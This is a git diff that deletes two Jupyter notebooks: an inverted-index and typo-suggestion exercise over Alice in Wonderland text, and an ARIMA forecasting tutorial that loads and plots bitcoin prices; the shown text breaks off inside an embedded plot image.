'pretend': [1, 3, 4, 5, 7, 9, 10, 12, 13],\n", - " 'people!': [1, 5, 9, 13],\n", - " 'hardly': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'enough': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'left': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'respectable': [1, 3, 4, 6, 7, 9, 10, 11],\n", - " 'person!’': [1],\n", - " 'eye': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'glass': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'lying': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'table:': [1, 5, 7, 11, 12],\n", - " 'cake,': [1, 5, 7, 9, 13],\n", - " '‘eat': [1],\n", - " 'currants.': [1, 13],\n", - " '‘well,': [1],\n", - " 'it,’': [1, 10],\n", - " 'makes': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'grow': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'larger,': [1, 3, 4, 5, 9, 10],\n", - " 'can': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'key;': [1, 4, 11, 14],\n", - " 'smaller,': [1, 10],\n", - " 'creep': [1, 3, 4, 5, 8, 9, 11, 12, 13],\n", - " 'door;': [1, 2, 4, 5, 6, 7, 8, 10, 11, 12, 14],\n", - " 'garden,': [1, 3, 4, 5, 6, 7, 9, 11, 12, 13],\n", - " 'don’t': [1, 10, 12],\n", - " 'care': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'happens!’': [1],\n", - " 'ate': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'bit,': [1, 2, 3, 5, 6, 8, 9, 10, 12, 13],\n", - " 'anxiously': [1, 2, 3, 4, 7, 11, 13],\n", - " '‘which': [1],\n", - " 'way?': [1, 2, 4, 7, 9, 10, 11],\n", - " 'way?’,': [1],\n", - " 'holding': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'growing,': [1, 6, 7, 10, 12],\n", - " 'surprised': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'remained': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'same': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'size:': [1],\n", - " 'sure,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'happens': [1, 2, 3, 5, 6, 7, 9, 10, 11, 12, 13],\n", - " 'eats': [1, 2, 3, 4, 6, 9, 10, 11],\n", - " 'expecting': [1, 2, 3, 4, 5, 6, 7, 9, 11, 12, 13, 14],\n", - " 'happen,': [1, 2, 4, 5, 6, 9, 10, 12],\n", - " 'dull': [1, 2, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'stupid': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 14],\n", - " 'life': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'common': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'way.': [1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'work,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'cake.': [1, 4],\n", - " 'ii.': [1, 3, 5, 6, 10],\n", - " 'pool': [1, 3, 4, 7, 10, 11, 13, 14],\n", - " '‘curiouser': [1],\n", - " 'curiouser!’': [1],\n", - " 'cried': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'surprised,': [1, 3, 4, 5, 6, 7, 9, 11, 12, 13, 14],\n", - " 'forgot': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'speak': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'english);': [1],\n", - " '‘now': [1],\n", - " 'opening': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'largest': [1, 3, 4, 5, 7, 8, 9, 10, 12, 13, 14],\n", - " 'telescope': [1, 3, 4, 11, 13, 14],\n", - " 'was!': [1, 2, 4, 6, 7, 9, 11, 14],\n", - " 'good-bye,': [1, 3, 6, 7, 10, 14],\n", - " 'feet!’': [1],\n", - " '(for': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13],\n", - " 'far': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'off).': [1],\n", - " '‘oh,': [1],\n", - " 'shoes': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'stockings': [1, 4, 5, 7, 8, 9, 11, 12, 13, 14],\n", - " 'now,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'dears?': [1],\n", - " 'sure': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '_i_': [1, 3, 7, 10, 11],\n", - " 'shan’t': [1, 10],\n", - " 'able!': [1],\n", - " 'deal': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'myself': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'you:': [1, 6, 7, 8, 11, 13],\n", - " 'can;--but': [1],\n", - " 'kind': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'them,’': [1],\n", - " '‘or': [1],\n", - " 'won’t': [1, 10],\n", - " 'want': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'go!': [1, 2, 7, 9, 10, 11],\n", - " 'pair': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'boots': [1, 3, 4, 6, 9, 10, 11, 12, 13, 14],\n", - " 'christmas.’': [1],\n", - " 'planning': [1, 4, 7, 8, 9],\n", - " '‘they': [1],\n", - " 'carrier,’': [1],\n", - " 'thought;': [1, 4, 7, 8, 10, 11, 12, 13, 14],\n", - " 'seem,': [1, 3, 7, 10],\n", - " 'sending': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'presents': [1, 3, 5, 7, 9, 10, 11, 13],\n", - " 'one’s': [1, 10, 12],\n", - " 'feet!': [1],\n", - " 'odd': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'directions': [1, 2, 4, 5, 7, 8, 9, 10, 11, 12, 13],\n", - " 'look!': [1, 3, 10, 13],\n", - " 'foot,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'esq.': [1],\n", - " 'hearthrug,': [1, 9],\n", - " 'fender,': [1, 4, 7, 11],\n", - " '(with': [1, 4, 5, 7, 8],\n", - " 'love).': [1],\n", - " 'dear,': [1, 2, 3, 4, 6, 8, 9, 11, 13],\n", - " 'nonsense': [1, 2, 7, 9, 10, 11],\n", - " 'talking!’': [1],\n", - " 'struck': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'roof': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hall:': [1, 7],\n", - " 'fact': [1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 13, 14],\n", - " 'nine': [1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'door.': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'side,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'eye;': [1, 3, 6, 7, 10, 11, 13, 14],\n", - " 'hopeless': [1, 2, 4, 7, 8, 9, 10, 11, 12, 14],\n", - " 'ever:': [1, 7, 11],\n", - " 'cry': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '‘you': [1],\n", - " 'ashamed': [1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14],\n", - " 'yourself,’': [1],\n", - " '‘a': [1],\n", - " 'you,’': [1],\n", - " 'this),': [1, 12],\n", - " 'way!': [1, 7, 8, 10],\n", - " 'stop': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'moment,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'you!’': [1, 10],\n", - " 'same,': [1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14],\n", - " 'shedding': [1, 3, 4, 5, 7, 11, 12, 13],\n", - " 'gallons': [1, 10, 12],\n", - " 'tears,': [1, 3, 4, 5, 6, 7, 9, 11, 12, 13],\n", - " 'until': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'reaching': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hall.': [1, 2, 7, 9, 11],\n", - " 'heard': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'pattering': [1, 3, 7, 9, 11, 13],\n", - " 'distance,': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13],\n", - " 'hastily': [1, 3, 4, 7, 9, 10, 11, 12, 13, 14],\n", - " 'dried': [1, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'coming.': [1, 2, 4, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'returning,': [1, 4, 7, 9, 10, 11, 12],\n", - " 'splendidly': [1, 7, 9, 13],\n", - " 'dressed,': [1, 3, 4, 5, 6, 7, 9, 10, 11],\n", - " 'kid': [1, 4, 11, 12, 13],\n", - " 'gloves': [1, 4, 6, 9, 10, 11],\n", - " 'fan': [1, 8, 9, 14],\n", - " 'other:': [1, 5, 7, 11],\n", - " 'he': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'trotting': [1, 2, 5, 6, 8, 9, 10],\n", - " 'hurry,': [1, 2, 3, 4, 6, 8, 9, 10, 11, 12, 13],\n", - " 'muttering': [1, 4, 8, 9, 10, 11, 13, 14],\n", - " 'himself': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'came,': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '‘oh!': [1, 10],\n", - " 'duchess,': [1, 2],\n", - " 'duchess!': [1],\n", - " 'oh!': [1, 2, 3, 4, 7, 9, 10, 11, 14],\n", - " 'savage': [1, 3, 4, 5, 7, 8, 10, 11, 12, 13],\n", - " 'kept': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'waiting!’': [1],\n", - " 'desperate': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'ready': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'help': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'one;': [1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'so,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'began,': [1, 3, 4, 5, 7, 9, 10, 11, 12, 13, 14],\n", - " 'low,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'timid': [1, 2, 3, 4, 7, 9, 10, 11],\n", - " 'voice,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " '‘if': [1],\n", - " 'sir--’': [1],\n", - " 'violently,': [1, 2, 3, 4, 10, 11, 12, 13],\n", - " 'dropped': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'fan,': [1, 9, 10, 13],\n", - " 'skurried': [1],\n", - " 'darkness': [1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'hard': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'go.': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'gloves,': [1, 4, 5, 7, 9, 12],\n", - " 'and,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hall': [1, 2, 4, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'hot,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'fanning': [1, 6, 9, 10, 11],\n", - " 'talking:': [1],\n", - " '‘dear,': [1],\n", - " 'queer': [1, 2, 4, 7, 8, 9, 10, 11, 13],\n", - " 'everything': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'to-day!': [1, 10],\n", - " 'yesterday': [1, 2, 4, 6, 7, 9, 10, 11],\n", - " 'usual.': [1, 2, 3, 4, 6, 7, 9, 10, 11, 12, 13, 14],\n", - " 'changed': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'night?': [1, 6, 7, 11],\n", - " 'think:': [1, 7],\n", - " 'morning?': [1, 4, 11],\n", - " 'feeling': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'different.': [1, 4, 6, 7, 8, 14],\n", - " 'next': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'question': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'am': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'i?': [1, 4, 6, 7, 9, 10, 14],\n", - " 'ah,': [1, 3, 4, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'puzzle!’': [1],\n", - " 'thinking': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'age': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 13, 14],\n", - " '‘i’m': [1, 10],\n", - " 'ada,’': [1],\n", - " 'hair': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'goes': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'ringlets,': [1, 7, 14],\n", - " 'mine': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'doesn’t': [1, 10],\n", - " 'ringlets': [1, 7, 9],\n", - " 'all;': [1, 2, 3, 4, 5, 6, 7, 8, 10, 11, 12, 13, 14],\n", - " 'can’t': [1, 10, 12],\n", - " ...}" - ] - }, - "execution_count": 65, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "inverted_index={}\n", - "docno=1\n", - "dic={}\n", - "for flname in os.listdir(folder):\n", - " text=open(os.path.join(folder,flname),\"r\",encoding=\"utf-8\").read()\n", - " for word in text.split():\n", - " if(word.lower() not in inverted_index.keys()):\n", - " inverted_index[word.lower()]=[docno]\n", - " elif(docno not in inverted_index[word.lower()]):\n", - " inverted_index[word.lower()].append(docno)\n", - " docno+=1\n", - "inverted_index\n", - " " - ] - }, - { - "cell_type": "markdown", - "id": "f505a288", - "metadata": {}, - "source": [ - "Creating an Inverted Index" - ] - }, - { - "cell_type": "code", - "execution_count": 66, - "id": "04fbc2a0", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "caroll\n", - "4\n", - "['carroll', 'carol', 'call', 'scroll']\n", - "Display same starting alphabet as choosen word? YES or NOYES\n", - "carroll carol call " - ] - } - ], - "source": [ - "query=input()\n", - "match=25/100 * 14\n", - "docmatches=0\n", - "typo=True\n", - "for word in inverted_index.keys():\n", - " if(word==query):\n", - " docmatches=len(inverted_index[word])\n", - " break\n", - "docmatches\n", - "if(docmatches/14 *100 >=match):\n", - " typo=False\n", - "if(typo):\n", - " k=int(input())\n", - " li=k_nearest_word(query,vocabulary,k)\n", - " print(li)\n", - " s=input(\"Display same starting alphabet as choosen word? YES or NO\")\n", - " if(s==\"YES\"):\n", - " for i in li:\n", - " if(i[0]==query[0]):\n", - " print(i,end=\" \")\n", - "\n", - "\n" - ] - }, - { - "cell_type": "markdown", - "id": "734f111e", - "metadata": {}, - "source": [ - "Taking query as Input and Displaying K nearest word matching the query word in our INFORMATION RETRIEVAL SYSTEM" - ] - } - ], - "metadata": { - "kernelspec": { - "display_name": "Python 3 (ipykernel)", - "language": "python", - "name": "python3" - }, - "language_info": { - "codemirror_mode": { - "name": "ipython", - "version": 3 - }, - "file_extension": ".py", - "mimetype": "text/x-python", - "name": "python", - "nbconvert_exporter": "python", - "pygments_lexer": "ipython3", - "version": "3.9.7" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} diff --git a/Add Code Here/IPYNB/Machine Learning Tutorial/Arima Forecast Tutorial.ipynb b/Add Code Here/IPYNB/Machine Learning Tutorial/Arima Forecast Tutorial.ipynb deleted file mode 100644 index 08d05d475a2..00000000000 --- a/Add Code Here/IPYNB/Machine Learning Tutorial/Arima Forecast Tutorial.ipynb +++ /dev/null @@ -1,1132 +0,0 @@ -{ - "cells": [ - { - "cell_type": "code", - "execution_count": 1, - "id": "95895ccc", - "metadata": {}, - "outputs": [], - "source": [ - "import pandas as pd\n", - "import numpy as np\n", - "import matplotlib.pyplot as plt" - ] - }, - { - "cell_type": "code", - "execution_count": 2, - "id": "3d403909", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
DatePrice
05/23/20197881.846680
15/24/20197987.371582
25/25/20198052.543945
35/26/20198673.215820
45/27/20198805.778320
\n", - "
" - ], - "text/plain": [ - " Date Price\n", - "0 5/23/2019 7881.846680\n", - "1 5/24/2019 7987.371582\n", - "2 5/25/2019 8052.543945\n", - "3 5/26/2019 8673.215820\n", - "4 5/27/2019 8805.778320" - ] - }, - "execution_count": 2, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df=pd.read_csv(\"C:\\\\Users\\\\ankit\\\\Downloads\\\\bitcoin.csv\")\n", - "df.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 3, - "id": "13663612", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Date 0\n", - "Price 0\n", - "dtype: int64" - ] - }, - "execution_count": 3, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.isnull().sum()" - ] - }, - { - "cell_type": "code", - "execution_count": 4, - "id": "afee6aab", - "metadata": {}, - "outputs": [], - "source": [ - "df['Date']=pd.to_datetime(df['Date'])" - ] - }, - { - "cell_type": "code", - "execution_count": 5, - "id": "b65dd136", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
Price
Date
2019-05-237881.846680
2019-05-247987.371582
2019-05-258052.543945
2019-05-268673.215820
2019-05-278805.778320
\n", - "
" - ], - "text/plain": [ - " Price\n", - "Date \n", - "2019-05-23 7881.846680\n", - "2019-05-24 7987.371582\n", - "2019-05-25 8052.543945\n", - "2019-05-26 8673.215820\n", - "2019-05-27 8805.778320" - ] - }, - "execution_count": 5, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.set_index('Date',inplace=True)\n", - "df.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 6, - "id": "59eaa5b2", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 6, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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